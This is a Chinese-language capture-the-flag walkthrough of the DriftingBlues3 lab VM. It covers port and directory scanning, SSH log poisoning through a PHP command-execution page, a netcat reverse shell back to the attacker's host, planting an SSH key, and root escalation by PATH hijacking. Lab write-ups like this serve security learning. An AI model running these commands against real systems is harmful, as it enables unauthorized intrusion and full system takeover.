主机信息
kali: 192.168.58.128
driftingblues3: 192.168.58.131
信息收集
老规矩先用nmap扫描
nmap -sP ip/mask \\扫描局域网内存活主机
nmap -sV -A -p- ip \\扫描靶机开放服务
发现开启了俩个端口 22:ssh 80:http
ssh登入,且用户名为一句话木马
进入网页瞅瞅(啥也不是)
用dirb盘一下,用字典来扫描Web服务,找找目录
注:(dirb是一个基于字典的web目录扫描工具,会用递归的方式来获取更多的目录,它还支持代理和http认证限制访问的网站)
格式:dirb <url_base> [<wordlist_file(s)>] [options]
-a 设置user-agent
-p <proxy[:port]>设置代理
-c 设置cookie
-z 添加毫秒延迟,避免洪水攻击
-o 输出结果
-X 在每个字典的后面添加一个后缀
-H 添加请求头
-i 不区分大小写搜索
发现里面有个文档,进去瞅瞅
Robots.txt又给了个目录,再瞅瞅看
Emmm,又给个目录,再再瞅瞅
这回啥也没有(翻译的有点骚)
按下F12瞅瞅源码,源码里有东西
去头尾解析俩次后,又一个路径,但这回是php路径
view-source:http://192.168.58.131/adminsfixit.php直接浏览网页源代码
可以看见我之前搞的ssh登入记录
使用下面的语句进行执行命令:
view-source:http://192.168.58.131/adminsfixit.php?xioazeng=id
view-source:http://192.168.58.131/adminsfixit.php?xioazeng=ip a
可以执行命令!!!
搞个反弹shell:
view-source:http://192.168.58.131/adminsfixit.php?xioazeng=nc -e /bin/bash 192.168.58.128 1226
看得有点怪怪的,使用python获取一个交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
进入家目录发现打不开user的flag,查看.ssh发现里面没有ras
查看ssh配置文件/etc/ssh/sshd_config,发现可以使用公钥登入,并且给出了文件名/home/robertj/.ssh/authorized_keys
创一个公钥
ssh-keygen -t rsa
/home/robertj/.ssh/rsa_keys
查看生成的公钥和私钥信息,并将私钥复制存放到本地
重命名文件
使用私钥登入,发现权限太高:
修改一下文件权限:
chmod 700 id_rsa
使用私钥登入成功
可以使用find提权:
第一个flag
第二个flag在root中
应该是执行了ip a、cat /etc/hosts、uname -a的命令
这时我们修改其中一个命令即可获得root权限
首先进入/tmp/创建uname文件,写入/bin/bash
发现进不去
然后赋予文件777权限和将环境变了指向/tmp/目录
这时执行命令将跳转到root权限
第二个flag